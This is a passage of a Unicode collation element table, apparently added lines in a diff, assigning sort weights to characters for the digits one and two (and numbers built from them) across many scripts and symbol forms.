+108A7 ; [.1C3E.0020.0002] # NABATAEAN NUMBER ONE
+108FB ; [.1C3E.0020.0002] # HATRAN NUMBER ONE
+10916 ; [.1C3E.0020.0002] # PHOENICIAN NUMBER ONE
+109C0 ; [.1C3E.0020.0002] # MEROITIC CURSIVE NUMBER ONE
+10A40 ; [.1C3E.0020.0002] # KHAROSHTHI DIGIT ONE
+10A7D ; [.1C3E.0020.0002] # OLD SOUTH ARABIAN NUMBER ONE
+10A9D ; [.1C3E.0020.0002] # OLD NORTH ARABIAN NUMBER ONE
+10AEB ; [.1C3E.0020.0002] # MANICHAEAN NUMBER ONE
+10B58 ; [.1C3E.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE
+10B78 ; [.1C3E.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE
+10BA9 ; [.1C3E.0020.0002] # PSALTER PAHLAVI NUMBER ONE
+10CFA ; [.1C3E.0020.0002] # OLD HUNGARIAN NUMBER ONE
+10E60 ; [.1C3E.0020.0002] # RUMI DIGIT ONE
+11052 ; [.1C3E.0020.0002] # BRAHMI NUMBER ONE
+11067 ; [.1C3E.0020.0002] # BRAHMI DIGIT ONE
+110F1 ; [.1C3E.0020.0002] # SORA SOMPENG DIGIT ONE
+11137 ; [.1C3E.0020.0002] # CHAKMA DIGIT ONE
+111D1 ; [.1C3E.0020.0002] # SHARADA DIGIT ONE
+111E1 ; [.1C3E.0020.0002] # SINHALA ARCHAIC DIGIT ONE
+112F1 ; [.1C3E.0020.0002] # KHUDAWADI DIGIT ONE
+11451 ; [.1C3E.0020.0002] # NEWA DIGIT ONE
+114D1 ; [.1C3E.0020.0002] # TIRHUTA DIGIT ONE
+11651 ; [.1C3E.0020.0002] # MODI DIGIT ONE
+116C1 ; [.1C3E.0020.0002] # TAKRI DIGIT ONE
+11731 ; [.1C3E.0020.0002] # AHOM DIGIT ONE
+118E1 ; [.1C3E.0020.0002] # WARANG CITI DIGIT ONE
+11C51 ; [.1C3E.0020.0002] # BHAIKSUKI DIGIT ONE
+11C5A ; [.1C3E.0020.0002] # BHAIKSUKI NUMBER ONE
+12415 ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE GESH2
+1241E ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE GESHU
+1242C ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE SHARU
+12434 ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE BURU
+1244F ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE BAN2
+12458 ; [.1C3E.0020.0002] # CUNEIFORM NUMERIC SIGN ONE ESHE3
+16A61 ; [.1C3E.0020.0002] # MRO DIGIT ONE
+16B51 ; [.1C3E.0020.0002] # PAHAWH HMONG DIGIT ONE
+1D360 ; [.1C3E.0020.0002] # COUNTING ROD UNIT DIGIT ONE
+1E8C7 ; [.1C3E.0020.0002] # MENDE KIKAKUI DIGIT ONE
+1E951 ; [.1C3E.0020.0002] # ADLAM DIGIT ONE
+FF11  ; [.1C3E.0020.0003] # FULLWIDTH DIGIT ONE
+0F2A  ; [.1C3E.0020.0004] # TIBETAN DIGIT HALF ONE
+2474  ; [*0317.0020.0004][.1C3E.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT ONE
+2488  ; [.1C3E.0020.0004][*0277.0020.0004] # DIGIT ONE FULL STOP
+1F102 ; [.1C3E.0020.0004][*0222.0020.0004] # DIGIT ONE COMMA
+1D7CF ; [.1C3E.0020.0005] # MATHEMATICAL BOLD DIGIT ONE
+1D7D9 ; [.1C3E.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT ONE
+1D7E3 ; [.1C3E.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT ONE
+1D7ED ; [.1C3E.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT ONE
+1D7F7 ; [.1C3E.0020.0005] # MATHEMATICAL MONOSPACE DIGIT ONE
+2460  ; [.1C3E.0020.0006] # CIRCLED DIGIT ONE
+24F5  ; [.1C3E.0020.0006] # DOUBLE CIRCLED DIGIT ONE
+2776  ; [.1C3E.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT ONE
+2780  ; [.1C3E.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT ONE
+278A  ; [.1C3E.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ONE
+00B9  ; [.1C3E.0020.0014] # SUPERSCRIPT ONE
+2081  ; [.1C3E.0020.0015] # SUBSCRIPT ONE
+215F  ; [.1C3E.0020.001E][*0626.0020.001E] # FRACTION NUMERATOR ONE
+247D  ; [*0317.0020.0004][.1C3E.0020.0004][.1C3D.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER TEN
+2491  ; [.1C3E.0020.0004][.1C3D.0020.0004][*0277.0020.0004] # NUMBER TEN FULL STOP
+2469  ; [.1C3E.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER TEN
+24FE  ; [.1C3E.0020.0006][.1C3D.0020.0006] # DOUBLE CIRCLED NUMBER TEN
+277F  ; [.1C3E.0020.0006][.1C3D.0020.0006] # DINGBAT NEGATIVE CIRCLED NUMBER TEN
+2789  ; [.1C3E.0020.0006][.1C3D.0020.0006] # DINGBAT CIRCLED SANS-SERIF NUMBER TEN
+2793  ; [.1C3E.0020.0006][.1C3D.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN
+3248  ; [.1C3E.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER TEN ON BLACK SQUARE
+33E9  ; [.1C3E.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN
+32C9  ; [.1C3E.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER
+3362  ; [.1C3E.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN
+247E  ; [*0317.0020.0004][.1C3E.0020.0004][.1C3E.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER ELEVEN
+2492  ; [.1C3E.0020.0004][.1C3E.0020.0004][*0277.0020.0004] # NUMBER ELEVEN FULL STOP
+246A  ; [.1C3E.0020.0006][.1C3E.0020.0006] # CIRCLED NUMBER ELEVEN
+24EB  ; [.1C3E.0020.0006][.1C3E.0020.0006] # NEGATIVE CIRCLED NUMBER ELEVEN
+2152  ; [.1C3E.0020.001E][*0626.0020.001E][.1C3E.0020.001E][.1C3D.0020.001E] # VULGAR FRACTION ONE TENTH
+33EA  ; [.1C3E.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN
+32CA  ; [.1C3E.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER
+3363  ; [.1C3E.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN
+247F  ; [*0317.0020.0004][.1C3E.0020.0004][.1C3F.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER TWELVE
+2493  ; [.1C3E.0020.0004][.1C3F.0020.0004][*0277.0020.0004] # NUMBER TWELVE FULL STOP
+246B  ; [.1C3E.0020.0006][.1C3F.0020.0006] # CIRCLED NUMBER TWELVE
+24EC  ; [.1C3E.0020.0006][.1C3F.0020.0006] # NEGATIVE CIRCLED NUMBER TWELVE
+00BD  ; [.1C3E.0020.001E][*0626.0020.001E][.1C3F.0020.001E] # VULGAR FRACTION ONE HALF
+1F1A4 ; [.1C3E.0020.001C][.1C3F.0020.001C][.1C3D.0020.001C][.1E0C.0020.001D] # SQUARED ONE HUNDRED TWENTY P
+33EB  ; [.1C3E.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE
+32CB  ; [.1C3E.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER
+3364  ; [.1C3E.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE
+2480  ; [*0317.0020.0004][.1C3E.0020.0004][.1C40.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER THIRTEEN
+2494  ; [.1C3E.0020.0004][.1C40.0020.0004][*0277.0020.0004] # NUMBER THIRTEEN FULL STOP
+246C  ; [.1C3E.0020.0006][.1C40.0020.0006] # CIRCLED NUMBER THIRTEEN
+24ED  ; [.1C3E.0020.0006][.1C40.0020.0006] # NEGATIVE CIRCLED NUMBER THIRTEEN
+2153  ; [.1C3E.0020.001E][*0626.0020.001E][.1C40.0020.001E] # VULGAR FRACTION ONE THIRD
+33EC  ; [.1C3E.0020.0004][.1C40.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN
+3365  ; [.1C3E.0020.0004][.1C40.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN
+2481  ; [*0317.0020.0004][.1C3E.0020.0004][.1C41.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER FOURTEEN
+2495  ; [.1C3E.0020.0004][.1C41.0020.0004][*0277.0020.0004] # NUMBER FOURTEEN FULL STOP
+246D  ; [.1C3E.0020.0006][.1C41.0020.0006] # CIRCLED NUMBER FOURTEEN
+24EE  ; [.1C3E.0020.0006][.1C41.0020.0006] # NEGATIVE CIRCLED NUMBER FOURTEEN
+00BC  ; [.1C3E.0020.001E][*0626.0020.001E][.1C41.0020.001E] # VULGAR FRACTION ONE QUARTER
+33ED  ; [.1C3E.0020.0004][.1C41.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN
+3366  ; [.1C3E.0020.0004][.1C41.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN
+2482  ; [*0317.0020.0004][.1C3E.0020.0004][.1C42.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER FIFTEEN
+2496  ; [.1C3E.0020.0004][.1C42.0020.0004][*0277.0020.0004] # NUMBER FIFTEEN FULL STOP
+246E  ; [.1C3E.0020.0006][.1C42.0020.0006] # CIRCLED NUMBER FIFTEEN
+24EF  ; [.1C3E.0020.0006][.1C42.0020.0006] # NEGATIVE CIRCLED NUMBER FIFTEEN
+2155  ; [.1C3E.0020.001E][*0626.0020.001E][.1C42.0020.001E] # VULGAR FRACTION ONE FIFTH
+33EE  ; [.1C3E.0020.0004][.1C42.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN
+3367  ; [.1C3E.0020.0004][.1C42.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN
+2483  ; [*0317.0020.0004][.1C3E.0020.0004][.1C43.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER SIXTEEN
+2497  ; [.1C3E.0020.0004][.1C43.0020.0004][*0277.0020.0004] # NUMBER SIXTEEN FULL STOP
+246F  ; [.1C3E.0020.0006][.1C43.0020.0006] # CIRCLED NUMBER SIXTEEN
+24F0  ; [.1C3E.0020.0006][.1C43.0020.0006] # NEGATIVE CIRCLED NUMBER SIXTEEN
+2159  ; [.1C3E.0020.001E][*0626.0020.001E][.1C43.0020.001E] # VULGAR FRACTION ONE SIXTH
+33EF  ; [.1C3E.0020.0004][.1C43.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN
+3368  ; [.1C3E.0020.0004][.1C43.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN
+2484  ; [*0317.0020.0004][.1C3E.0020.0004][.1C44.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER SEVENTEEN
+2498  ; [.1C3E.0020.0004][.1C44.0020.0004][*0277.0020.0004] # NUMBER SEVENTEEN FULL STOP
+2470  ; [.1C3E.0020.0006][.1C44.0020.0006] # CIRCLED NUMBER SEVENTEEN
+24F1  ; [.1C3E.0020.0006][.1C44.0020.0006] # NEGATIVE CIRCLED NUMBER SEVENTEEN
+2150  ; [.1C3E.0020.001E][*0626.0020.001E][.1C44.0020.001E] # VULGAR FRACTION ONE SEVENTH
+33F0  ; [.1C3E.0020.0004][.1C44.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN
+3369  ; [.1C3E.0020.0004][.1C44.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN
+2485  ; [*0317.0020.0004][.1C3E.0020.0004][.1C45.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER EIGHTEEN
+2499  ; [.1C3E.0020.0004][.1C45.0020.0004][*0277.0020.0004] # NUMBER EIGHTEEN FULL STOP
+2471  ; [.1C3E.0020.0006][.1C45.0020.0006] # CIRCLED NUMBER EIGHTEEN
+24F2  ; [.1C3E.0020.0006][.1C45.0020.0006] # NEGATIVE CIRCLED NUMBER EIGHTEEN
+215B  ; [.1C3E.0020.001E][*0626.0020.001E][.1C45.0020.001E] # VULGAR FRACTION ONE EIGHTH
+33F1  ; [.1C3E.0020.0004][.1C45.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN
+336A  ; [.1C3E.0020.0004][.1C45.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN
+2486  ; [*0317.0020.0004][.1C3E.0020.0004][.1C46.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER NINETEEN
+249A  ; [.1C3E.0020.0004][.1C46.0020.0004][*0277.0020.0004] # NUMBER NINETEEN FULL STOP
+2472  ; [.1C3E.0020.0006][.1C46.0020.0006] # CIRCLED NUMBER NINETEEN
+24F3  ; [.1C3E.0020.0006][.1C46.0020.0006] # NEGATIVE CIRCLED NUMBER NINETEEN
+2151  ; [.1C3E.0020.001E][*0626.0020.001E][.1C46.0020.001E] # VULGAR FRACTION ONE NINTH
+33F2  ; [.1C3E.0020.0004][.1C46.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN
+336B  ; [.1C3E.0020.0004][.1C46.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN
+33E0  ; [.1C3E.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE
+32C0  ; [.1C3E.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY
+3359  ; [.1C3E.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE
+0032  ; [.1C3F.0020.0002] # DIGIT TWO
+0662  ; [.1C3F.0020.0002] # ARABIC-INDIC DIGIT TWO
+06F2  ; [.1C3F.0020.0002] # EXTENDED ARABIC-INDIC DIGIT TWO
+07C2  ; [.1C3F.0020.0002] # NKO DIGIT TWO
+0968  ; [.1C3F.0020.0002] # DEVANAGARI DIGIT TWO
+09E8  ; [.1C3F.0020.0002] # BENGALI DIGIT TWO
+0A68  ; [.1C3F.0020.0002] # GURMUKHI DIGIT TWO
+0AE8  ; [.1C3F.0020.0002] # GUJARATI DIGIT TWO
+0B68  ; [.1C3F.0020.0002] # ORIYA DIGIT TWO
+0BE8  ; [.1C3F.0020.0002] # TAMIL DIGIT TWO
+0C68  ; [.1C3F.0020.0002] # TELUGU DIGIT TWO
+0C7A  ; [.1C3F.0020.0002] # TELUGU FRACTION DIGIT TWO FOR ODD POWERS OF FOUR
+0C7D  ; [.1C3F.0020.0002] # TELUGU FRACTION DIGIT TWO FOR EVEN POWERS OF FOUR
+0CE8  ; [.1C3F.0020.0002] # KANNADA DIGIT TWO
+0D68  ; [.1C3F.0020.0002] # MALAYALAM DIGIT TWO
+0DE8  ; [.1C3F.0020.0002] # SINHALA LITH DIGIT TWO
+0E52  ; [.1C3F.0020.0002] # THAI DIGIT TWO
+0ED2  ; [.1C3F.0020.0002] # LAO DIGIT TWO
+0F22  ; [.1C3F.0020.0002] # TIBETAN DIGIT TWO
+1042  ; [.1C3F.0020.0002] # MYANMAR DIGIT TWO
+1092  ; [.1C3F.0020.0002] # MYANMAR SHAN DIGIT TWO
+136A  ; [.1C3F.0020.0002] # ETHIOPIC DIGIT TWO
+17E2  ; [.1C3F.0020.0002] # KHMER DIGIT TWO
+17F2  ; [.1C3F.0020.0002] # KHMER SYMBOL LEK ATTAK PII
+1812  ; [.1C3F.0020.0002] # MONGOLIAN DIGIT TWO
+1948  ; [.1C3F.0020.0002] # LIMBU DIGIT TWO
+19D2  ; [.1C3F.0020.0002] # NEW TAI LUE DIGIT TWO
+1A82  ; [.1C3F.0020.0002] # TAI THAM HORA DIGIT TWO
+1A92  ; [.1C3F.0020.0002] # TAI THAM THAM DIGIT TWO
+1B52  ; [.1C3F.0020.0002] # BALINESE DIGIT TWO
+1BB2  ; [.1C3F.0020.0002] # SUNDANESE DIGIT TWO
+1C42  ; [.1C3F.0020.0002] # LEPCHA DIGIT TWO
+1C52  ; [.1C3F.0020.0002] # OL CHIKI DIGIT TWO
+3022  ; [.1C3F.0020.0002] # HANGZHOU NUMERAL TWO
+A622  ; [.1C3F.0020.0002] # VAI DIGIT TWO
+A8D2  ; [.1C3F.0020.0002] # SAURASHTRA DIGIT TWO
+A902  ; [.1C3F.0020.0002] # KAYAH LI DIGIT TWO
+A9D2  ; [.1C3F.0020.0002] # JAVANESE DIGIT TWO
+A9F2  ; [.1C3F.0020.0002] # MYANMAR TAI LAING DIGIT TWO
+AA52  ; [.1C3F.0020.0002] # CHAM DIGIT TWO
+ABF2  ; [.1C3F.0020.0002] # MEETEI MAYEK DIGIT TWO
+10108 ; [.1C3F.0020.0002] # AEGEAN NUMBER TWO
+1015B ; [.1C3F.0020.0002] # GREEK ACROPHONIC EPIDAUREAN TWO
+1015C ; [.1C3F.0020.0002] # GREEK ACROPHONIC THESPIAN TWO
+1015D ; [.1C3F.0020.0002] # GREEK ACROPHONIC CYRENAIC TWO DRACHMAS
+1015E ; [.1C3F.0020.0002] # GREEK ACROPHONIC EPIDAUREAN TWO DRACHMAS
+102E2 ; [.1C3F.0020.0002] # COPTIC EPACT DIGIT TWO
+103D2 ; [.1C3F.0020.0002] # OLD PERSIAN NUMBER TWO
+104A2 ; [.1C3F.0020.0002] # OSMANYA DIGIT TWO
+10859 ; [.1C3F.0020.0002] # IMPERIAL ARAMAIC NUMBER TWO
+1087A ; [.1C3F.0020.0002] # PALMYRENE NUMBER TWO
+108A8 ; [.1C3F.0020.0002] # NABATAEAN NUMBER TWO
+1091A ; [.1C3F.0020.0002] # PHOENICIAN NUMBER TWO
+109C1 ; [.1C3F.0020.0002] # MEROITIC CURSIVE NUMBER TWO
+10A41 ; [.1C3F.0020.0002] # KHAROSHTHI DIGIT TWO
+10B59 ; [.1C3F.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TWO
+10B79 ; [.1C3F.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TWO
+10BAA ; [.1C3F.0020.0002] # PSALTER PAHLAVI NUMBER TWO
+10E61 ; [.1C3F.0020.0002] # RUMI DIGIT TWO
+11053 ; [.1C3F.0020.0002] # BRAHMI NUMBER TWO
+11068 ; [.1C3F.0020.0002] # BRAHMI DIGIT TWO
+110F2 ; [.1C3F.0020.0002] # SORA SOMPENG DIGIT TWO
+11138 ; [.1C3F.0020.0002] # CHAKMA DIGIT TWO
+111D2 ; [.1C3F.0020.0002] # SHARADA DIGIT TWO
+111E2 ; [.1C3F.0020.0002] # SINHALA ARCHAIC DIGIT TWO
+112F2 ; [.1C3F.0020.0002] # KHUDAWADI DIGIT TWO
+11452 ; [.1C3F.0020.0002] # NEWA DIGIT TWO
+114D2 ; [.1C3F.0020.0002] # TIRHUTA DIGIT TWO
+11652 ; [.1C3F.0020.0002] # MODI DIGIT TWO
+116C2 ; [.1C3F.0020.0002] # TAKRI DIGIT TWO
+11732 ; [.1C3F.0020.0002] # AHOM DIGIT TWO
+118E2 ; [.1C3F.0020.0002] # WARANG CITI DIGIT TWO
+11C52 ; [.1C3F.0020.0002] # BHAIKSUKI DIGIT TWO
+11C5B ; [.1C3F.0020.0002] # BHAIKSUKI NUMBER TWO
+12400 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ASH
+12416 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO GESH2
+1241F ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO GESHU
+12423 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO SHAR2
+1242D ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO SHARU
+12435 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO BURU
+1244A ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ASH TENU
+12450 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO BAN2
+12456 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN NIGIDAMIN
+12459 ; [.1C3F.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ESHE3
+16A62 ; [.1C3F.0020.0002] # MRO DIGIT TWO
+16B52 ; [.1C3F.0020.0002] # PAHAWH HMONG DIGIT TWO
+1D361 ; [.1C3F.0020.0002] # COUNTING ROD UNIT DIGIT TWO
+1E8C8 ; [.1C3F.0020.0002] # MENDE KIKAKUI DIGIT TWO
+1E952 ; [.1C3F.0020.0002] # ADLAM DIGIT TWO
+FF12  ; [.1C3F.0020.0003] # FULLWIDTH DIGIT TWO
+0F2B  ; [.1C3F.0020.0004] # TIBETAN DIGIT HALF TWO
+2475  ; [*0317.0020.0004][.1C3F.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT TWO
+2489  ; [.1C3F.0020.0004][*0277.0020.0004] # DIGIT TWO FULL STOP
+1F103 ; [.1C3F.0020.0004][*0222.0020.0004] # DIGIT TWO COMMA
+1D7D0 ; [.1C3F.0020.0005] # MATHEMATICAL BOLD DIGIT TWO
+1D7DA ; [.1C3F.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT TWO
+1D7E4 ; [.1C3F.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT TWO
+1D7EE ; [.1C3F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT TWO
+1D7F8 ; [.1C3F.0020.0005] # MATHEMATICAL MONOSPACE DIGIT TWO
+2461  ; [.1C3F.0020.0006] # CIRCLED DIGIT TWO
+24F6  ; [.1C3F.0020.0006] # DOUBLE CIRCLED DIGIT TWO
+2777  ; [.1C3F.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT TWO
+2781  ; [.1C3F.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT TWO
+278B  ; [.1C3F.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT TWO
+00B2  ; [.1C3F.0020.0014] # SUPERSCRIPT TWO
+2082  ; [.1C3F.0020.0015] # SUBSCRIPT TWO
+2487  ; [*0317.0020.0004][.1C3F.0020.0004][.1C3D.0020.0004][*0318.0020.0004] # PARENTHESIZED NUMBER TWENTY
+249B  ; [.1C3F.0020.0004][.1C3D.0020.0004][*0277.0020.0004] # NUMBER TWENTY FULL STOP
+2473  ; [.1C3F.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER TWENTY
+24F4  ; [.1C3F.0020.0006][.1C3D.0020.0006] # NEGATIVE CIRCLED NUMBER TWENTY
+3249  ; [.1C3F.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER TWENTY ON BLACK SQUARE
+33F3  ; [.1C3F.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY
+336C  ; [.1C3F.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY
+3251  ; [.1C3F.0020.0006][.1C3E.0020.0006] # CIRCLED NUMBER TWENTY ONE
+33F4  ; [.1C3F.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE
+336D  ; [.1C3F.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE
+3252  ; [.1C3F.0020.0006][.1C3F.0020.0006] # CIRCLED NUMBER TWENTY TWO
+1F1A2 ; [.1C3F.0020.001C][.1C3F.0020.001C][*0277.0020.001C][.1C3F.0020.001C] # SQUARED TWENTY-TWO POINT TWO
+33F5  ; [.1C3F.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO
+336E  ; [.1C3F.0020.0004][.1C3F.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO
+3253  ; [.1C3F.0020.0006][.1C40.0020.0006] # CIRCLED NUMBER TWENTY THREE
+2154  ; [.1C3F.0020.001E][*0626.0020.001E][.1C40.0020.001E] # VULGAR FRACTION TWO THIRDS
+33F6  ; [.1C3F.0020.0004][.1C40.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE
+336F  ; [.1C3F.0020.0004][.1C40.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE
+3254  ; [.1C3F.0020.0006][.1C41.0020.0006] # CIRCLED NUMBER TWENTY FOUR
+33F7  ; [.1C3F.0020.0004][.1C41.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR
+3370  ; [.1C3F.0020.0004][.1C41.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR
+3255  ; [.1C3F.0020.0006][.1C42.0020.0006] # CIRCLED NUMBER TWENTY FIVE
+2156  ; [.1C3F.0020.001E][*0626.0020.001E][.1C42.0020.001E] # VULGAR FRACTION TWO FIFTHS
+33F8  ; [.1C3F.0020.0004][.1C42.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE
+3256  ; [.1C3F.0020.0006][.1C43.0020.0006] # CIRCLED NUMBER TWENTY SIX
+33F9  ; [.1C3F.0020.0004][.1C43.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX
+3257  ; [.1C3F.0020.0006][.1C44.0020.0006] # CIRCLED NUMBER TWENTY SEVEN
+33FA  ; [.1C3F.0020.0004][.1C44.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN
+3258  ; [.1C3F.0020.0006][.1C45.0020.0006] # CIRCLED NUMBER TWENTY EIGHT
+33FB  ; [.1C3F.0020.0004][.1C45.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT
+3259  ; [.1C3F.0020.0006][.1C46.0020.0006] # CIRCLED NUMBER TWENTY NINE
+33FC  ; [.1C3F.0020.0004][.1C46.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE
+1F19D ; [.1C3F.0020.001C][.1D65.0020.001D] # SQUARED TWO K
+1F19C ; [.1C3F.0020.001C][.1DB9.0020.001C][.1C8F.0020.001C][*0209.0020.001C][.1E71.0020.001D][.1C7A.0020.001C][.1E33.0020.001C] # SQUARED SECOND SCREEN
+33E1  ; [.1C3F.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO
+32C1  ; [.1C3F.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY
